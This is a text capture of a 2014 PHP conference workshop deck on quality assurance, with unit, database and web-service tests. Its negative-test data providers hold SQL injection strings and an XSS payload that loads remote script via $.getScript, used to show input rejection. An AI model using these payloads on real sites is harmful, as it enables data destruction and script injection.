205
Quality Assurance for PHP projects

Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Embed Size (px)

DESCRIPTION

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Citation preview

Page 1: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Quality Assurance for PHP projects

Page 2: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Michelangelo van Dam

Page 3: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Schedule Workshop

Introduction to Quality Assurance Revision control

Documenting Testing

Measuring Automating Team works!

Page 4: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

#phpqa

Page 5: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Introduction to QA

Page 6: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Why QA?

Page 7: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Why QA

Safeguarding code

Page 8: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Detect bugs early

Page 9: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Observe behavior

Page 10: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Prevent accidents from happening

Page 11: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Tracking progress

Page 12: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Why invest in QA?

Page 13: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Keeps your code in shape

Page 14: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Measures speed and performance

Page 15: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Boosts team spirit

Page 16: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Saves time

Page 17: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Reports continuously

Page 18: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Delivers ready to deploy packages

Page 19: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Quality Assurance Tools

Page 20: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Revision Control

Page 21: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Subversion

Page 22: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

GIT

Page 23: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

github

Page 24: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Mercurial

Page 25: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Bazaar

Page 26: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Advantages of SCM

• team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools

TIP:  hooks  for  tools

Page 27: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Syntax Checking

Page 28: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

php  -­‐l  (lint)

h@p://www.php.net/manual/en/features.commandline.opFons.php

Page 29: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Lint

• checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files

• can provide reports - but if something fails -> the build fails

TIP:  pre-­‐commit  hook

Page 30: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Syntax

php -lf /path/to/filename.php

Page 31: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP  Lint  on  Command  Line

Page 32: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

SVN Pre commit hook#!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit !REPOS="$1" TXN="$2" !# modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook !# PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done

Page 33: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

SVN  pre-­‐commit  hook

Page 34: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Documenting

Page 35: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Why documenting?

• new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)

Page 36: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Phpdoc2

Page 37: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Phpdoc2  class  details

Page 38: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Based  on  docblocks  in  code

Page 39: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

And  the  output

Page 40: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Phpdoc2  class  relaFon  chart

Page 41: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Phpdoc2  on  your  project

Page 42: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing

Page 43: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Any reasons not to test?

Page 44: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Most common excuses

• no time • not within budget • development team does not know how • tests are provided after delivery • …

Page 45: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

NO EXCUSES!

Page 46: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Maintainability

• during development - test will fail indicating bugs

• after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!

• long term projects - refactoring made easy

Page 47: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Remember

“Once a test is made, it will always be tested!”

Page 48: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 49: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Confidence

• for the developer - code works

• for the manager - project succeeds

• for sales / general management / share holders - making profit

• for the customer - paying for what they want

Page 50: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 51: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Unit testing PHP apps

Page 52: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Setting things up

Page 53: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Example phpunit.xml<phpunit        colors="true"    stopOnFailure=“true"  stopOnError="true"  syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

Page 54: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

TestHelper.php<?php !// set our app paths and environments !define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); !define('APPLICATION_PATH', BASE_PATH . '/application'); !define('TEST_PATH', BASE_PATH . '/tests'); !define('APPLICATION_ENV', 'testing'); !!// Include path !set_include_path( !    . PATH_SEPARATOR . BASE_PATH . '/library' !    . PATH_SEPARATOR . get_include_path() !); !!// Set the default timezone !!! !date_default_timezone_set('Europe/Brussels'); !!// We wanna catch all errors en strict warnings !error_reporting(E_ALL|E_STRICT); !!require_once 'Zend/Application.php'; !$application = new Zend_Application( !    APPLICATION_ENV, !    APPLICATION_PATH . '/configs/application.ini' !); !!$application->bootstrap();

Page 55: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Zend_Tool since 1.11.4

• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php

Ralph Schindler

Page 56: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Let’s get started…

Page 57: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing models

Page 58: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing business logic

• models contain logic - tied to your business - tied to your storage - tied to your resources

• no “one size fits all” solution

Page 59: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Type: data containers

• contains structured data - populated through setters and getters

• perform logic tied to it’s purpose - transforming data - filtering data - validating data

• can convert into other data types - arrays - strings (JSON, serialized, xml, …)

• are providers to other models

Page 60: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Comment Class

Page 61: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Writing model test<?php !class Application_Model_CommentTest extends PHPUnit_Framework_TestCase !{ !    protected $_comment; !    protected function setUp() !    { !        $this->_comment = new Application_Model_Comment(); !        parent::setUp(); !    } !    protected function tearDown() !    { !        parent::tearDown(); !        $this->_comment = null; !    } !    public function testModelIsEmptyAtConstruct() !    { !        $this->assertSame(0, $this->_comment->getId()); !        $this->assertNull($this->_comment->getFullName()); !        $this->assertNull($this->_comment->getEmailAddress()); !        $this->assertNull($this->_comment->getWebsite()); !        $this->assertNull($this->_comment->getComment()); !    } !}

Page 62: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

This test won’t run!

Page 63: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Create a simple model<?php !!class Application_Model_Comment !{ !    protected $_id = 0; protected $_fullName; protected $_emailAddress; !    protected $_website; protected $_comment; !     !    public function setId($id) { $this->_id = (int) $id; return $this; } !    public function getId() { return $this->_id; } !    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } !    public function getFullName() { return $this->_fullName; } !    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } !    public function getEmailAddress() { return $this->_emailAddress; } !    public function setWebsite($website) { $this->_website = (string) $website; return $this; } !    public function getWebsite() { return $this->_website; } !    public function setComment($comment) { $this->_comment = (string) $comment; return $this; } !    public function getComment() { return $this->_comment; } !    public function populate($row) { !        if (is_array($row)) { !            $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); !        } !        if (isset ($row->id)) $this->setId($row->id); !        if (isset ($row->fullName)) $this->setFullName($row->fullName); !        if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); !        if (isset ($row->website)) $this->setWebsite($row->website); !        if (isset ($row->comment)) $this->setComment($row->comment); !    } !    public function toArray() { !        return array ( !            'id'           => $this->getId(), !            'fullName'     => $this->getFullName(), !            'emailAddress' => $this->getEmailAddress(), !            'website'      => $this->getWebsite(), !            'comment'      => $this->getComment(), !        ); !    } !}

Page 64: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

We pass the test…

Page 65: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Really ???

Page 66: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Protection!

We Need Protection!

Page 67: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Little Bobby Tables

http://xkcd.com/327/

Page 68: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Is this your project?

Page 69: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Not all data from form!

• model can be populated from - users through the form - data stored in the database - a web service (hosted by yourself or 3rd-party)

• simply test it - by using same test scenario’s from our form

Page 70: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

The nasty internet

https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 71: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

The good stuffpublic function goodData() !{ !    return array ( !        array ('John Doe', '[email protected]',  !               'http://example.com', 'test comment'), !        array ("Matthew Weier O'Phinney", '[email protected]',  !               'http://weierophinney.net', 'Doing an MWOP-Test'), !        array ('D. Keith Casey, Jr.', '[email protected]',  !               'http://caseysoftware.com', 'Doing a monkey dance'), !    ); !} !/** ! * @dataProvider goodData ! */ !public function testModelAcceptsValidData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        $this->fail('Unexpected exception should not be triggered'); !    } !    $data['id'] = 0; !    $data['emailAddress'] = strtolower($data['emailAddress']); !    $data['website'] = strtolower($data['website']); !    $this->assertSame($this->_comment->toArray(), $data); !}

Page 72: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

The bad stuffpublic function badData() !{ !    return array ( !        array ('','','',''), !        array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), !        array (str_repeat('x', 1000), '', '', ''), !        array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), !    ); !} !/** ! * @dataProvider badData ! */ !public function testModelRejectsBadData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        return; !    } !    $this->fail('Expected exception should be triggered'); !     !}

Page 73: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Let’s run it

Page 74: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Add input filters! (and don’t build it yourself!)

• Zend Framework 1: Zend_Filter_Input • Zend Framework 2: Zend\InputFilter • Symfony: Symfony\Component\Validator • Aura: Aura\Framework\Input\Filter • Lithium: lithium\util\Validator • Laravel: App\Validator • …

Page 75: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Modify our modelprotected $_filters; !protected $_validators; !!public function __construct($params = null) !{ !    $this->_filters = array ( !        'id' => array ('Int'), !        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), !        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'website' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'comment' => array ('StringTrim', 'StripTags'), !    ); !    $this->_validators = array ( !        'id' => array ('Int'), !        'fullName' => array ( !            new Zftest_Validate_Mwop(), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'emailAddress' => array ( !            'EmailAddress', !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'website' => array ( !            new Zend_Validate_Callback(array('Zend_Uri', 'check')), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'comment' => array ( !            new Zftest_Validate_TextBox(), !            new Zend_Validate_StringLength(array ('max' => 5000)), !        ), !    ); !    if (null !== $params) { $this->populate($params); } !}

Page 76: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Modify setters: Id & namepublic function setId($id) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('id' => $id)); !    if (!$input->isValid('id')) { !        throw new Zend_Exception('Invalid ID provided'); !    } !    $this->_id = (int) $input->id; !    return $this; !} !!public function setFullName($fullName) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('fullName' => $fullName)); !    if (!$input->isValid('fullName')) { !        throw new Zend_Exception('Invalid fullName provided'); !    } !    $this->_fullName = (string) $input->fullName; !    return $this; !}

Page 77: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Email & websitepublic function setEmailAddress($emailAddress) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('emailAddress' => $emailAddress)); !    if (!$input->isValid('emailAddress')) { !        throw new Zend_Exception('Invalid emailAddress provided'); !    } !    $this->_emailAddress = (string) $input->emailAddress; !    return $this; !} !!public function setWebsite($website) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('website' => $website)); !    if (!$input->isValid('website')) { !        throw new Zend_Exception('Invalid website provided'); !    } !    $this->_website = (string) $input->website; !    return $this; !}

Page 78: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

and commentpublic function setComment($comment) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('comment' => $comment)); !    if (!$input->isValid('comment')) { !        throw new Zend_Exception('Invalid comment provided'); !    } !    $this->_comment = (string) $input->comment; !    return $this; !}

Page 79: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Now we’re good!

Page 80: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  Service  {          public  function  login($username,  $password)          {                  $options  =  array  (                          'options'  =>  array  (                                  'default'  =>  false,                                  'regexp'  =>  '/^[a-­‐z0-­‐9]+$/',                          ),                  );                  $username  =  \filter_var($username,  FILTER_SANITIZE_STRING);                  if  (false  ===  \filter_var($username,  FILTER_VALIDATE_REGEXP,  $options))  {                          return  false;                  }                  //  continue  with  login  procedure                  return  true;          }  }

Page 81: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  ServiceTest  extends  \PHPUnit_Framework_TestCase  {          public  function  badDataProvider()          {                  return  array  (                          array  ("1'  OR  1  =  1;",  'randompassword'),                  );          }              /**            *  @dataProvider  badDataProvider            */          public  function  testLoginCredentialsAreValid($username,  $password)          {                  $service  =  new  Service();                  $this-­‐>assertFalse($service-­‐>login($username,  $password));          }  }

Page 82: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing Databases

Page 83: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Integration Testing

• database specific functionality - triggers - constraints - stored procedures - sharding/scalability

• data input/output - correct encoding of data - transactions execution and rollback

Page 84: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Points of concern

• beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP

• beware of time related issues - timestamp vs. datetime - UTC vs. local time

Page 85: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

The domain Model

• Model object • Mapper object • Table gateway object

Read more about it ☞

Page 86: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Change our test class

class Application_Model_CommentTest extends PHPUnit_Framework_TestCase

!becomes

!class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Page 87: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Setting DB Testing upprotected $_connectionMock; !!public function getConnection() !{ !    if (null === $this->_dbMock) { !        $this->bootstrap = new Zend_Application( !            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); !        $this->bootstrap->bootstrap('db'); !        $db = $this->bootstrap->getBootstrap()->getResource('db'); !        $this->_connectionMock = $this->createZendDbConnection( !            $db, 'zftest' !        ); !        return $this->_connectionMock; !    } !} !!public function getDataSet() !{ !    return $this->createFlatXmlDataSet( !        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); !}

Page 88: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 89: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing SELECTpublic function testDatabaseCanBeRead() !{ !    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( !        $this->getConnection()); !    $ds->addTable('comment', 'SELECT * FROM `comment`'); !     !    $expected = $this->createFlatXMLDataSet( !        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); !    $this->assertDataSetsEqual($expected, $ds); !}

Page 90: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 91: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing UPDATEpublic function testDatabaseCanBeUpdated() !{ !    $comment = new Application_Model_Comment(); !    $mapper = new Application_Model_CommentMapper(); !    $mapper->find(1, $comment); !    $comment->setComment('I like you picking up the challenge!'); !    $mapper->save($comment); !     !    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( !        $this->getConnection()); !    $ds->addTable('comment', 'SELECT * FROM `comment`'); !     !    $expected = $this->createFlatXMLDataSet( !        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); !    $this->assertDataSetsEqual($expected, $ds); !}

Page 92: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 93: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing DELETEpublic function testDatabaseCanDeleteAComment() !{ !    $comment = new Application_Model_Comment(); !    $mapper = new Application_Model_CommentMapper(); !    $mapper->find(1, $comment) !           ->delete($comment); !    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( !        $this->getConnection()); !    $ds->addTable('comment', 'SELECT * FROM `comment`'); !     !    $expected = $this->createFlatXMLDataSet( !        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); !    $this->assertDataSetsEqual($expected, $ds); !}

Page 94: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 95: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing INSERTpublic function testDatabaseCanAddAComment() !{ !    $comment = new Application_Model_Comment(); !    $comment->setFullName('Michelangelo van Dam') !            ->setEmailAddress('[email protected]') !            ->setWebsite('http://www.dragonbe.com') !            ->setComment('Unit Testing, It is so addictive!!!'); !    $mapper = new Application_Model_CommentMapper(); !    $mapper->save($comment); !     !    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( !        $this->getConnection()); !    $ds->addTable('comment', 'SELECT * FROM `comment`'); !     !    $expected = $this->createFlatXMLDataSet( !        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); !    $this->assertDataSetsEqual($expected, $ds); !}

Page 96: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 97: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Run Test

Page 98: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

What went wrong here?

Page 99: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

AUTO_INCREMENT

Page 100: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing INSERT w/ filterpublic function testDatabaseCanAddAComment() !{ !    $comment = new Application_Model_Comment(); !    $comment->setFullName('Michelangelo van Dam') !            ->setEmailAddress('[email protected]') !            ->setWebsite('http://www.dragonbe.com') !            ->setComment('Unit Testing, It is so addictive!!!'); !    $mapper = new Application_Model_CommentMapper(); !    $mapper->save($comment); !     !    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( !        $this->getConnection()); !    $ds->addTable('comment', 'SELECT * FROM `comment`'); !    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( "            $ds, array ('comment' => array ('id'))); "     !    $expected = $this->createFlatXMLDataSet( !        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); !    $this->assertDataSetsEqual($expected, $filteredDs); !}

Page 101: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 102: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Run Test

Page 103: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

• Database testing • is SLOW • is INTEGRATION • is IRRELEVANT

Page 104: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Use Faker

Page 105: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Faker generates data!<?php !namespace Project\Object; !!class EntryTest extends \PHPUnit_Framework_TestCase !{ !    protected $_faker; !    protected function setUp() !    { !        $this->_faker = \Faker\Factory::create(); !    } !    protected function tearDown() !    { !        $this->_faker = null;!    } !    public function testPopulateVehicleWithData() !    { !        $entry = array ( !            'mileage' => $this->_faker->numberBetween(1, 999999), !            'quantity' => $this->_faker->randomFloat(2, 0, 80), !            'unitPrice' => $this->_faker->randomFloat(3, 0, 5), !        ); !        $vehicle = new Vehicle(); !        $vehicle->getEntries()->add(new Entry($entry)); !        $this->assertEquals($entry, $vehicle->getEntries()->current()->toArray()); !    } !}

Page 106: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing web services

Page 107: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Web services remarks

• you need to comply with an API - that will be your reference

• you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues

Page 108: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Example: joind.in

Page 109: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

http://joind.in/api

Page 110: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

JoindinTest<?php !class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase !{ !    protected $_joindin; !    protected $_settings; !     !    protected function setUp() !    { !        $this->_joindin = new Zftest_Service_Joindin(); !        $settings = simplexml_load_file(realpath( !            APPLICATION_PATH . '/../tests/_files/settings.xml')); !        $this->_settings = $settings->joindin; !        parent::setUp(); !    } !    protected function tearDown() !    { !        parent::tearDown(); !        $this->_joindin = null; !    } !}

Page 111: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

JoindinTestpublic function testJoindinCanGetUserDetails() !{ !    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; !    $this->_joindin->setUsername($this->_settings->username) !                   ->setPassword($this->_settings->password); !    $actual = $this->_joindin->user()->getDetail(); !    $this->assertXmlStringEqualsXmlString($expected, $actual); !} !!public function testJoindinCanCheckStatus() !{ !    $date = new DateTime(); !    $date->setTimezone(new DateTimeZone('UTC')); !    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; !    $actual = $this->_joindin->site()->getStatus('testing unit test'); !    $this->assertXmlStringEqualsXmlString($expected, $actual); !}

Page 112: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing the service

Page 113: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>

Page 114: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>

Latency of the network 1s

Page 115: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Solution… right here!

Page 116: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Your expectations

Page 117: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

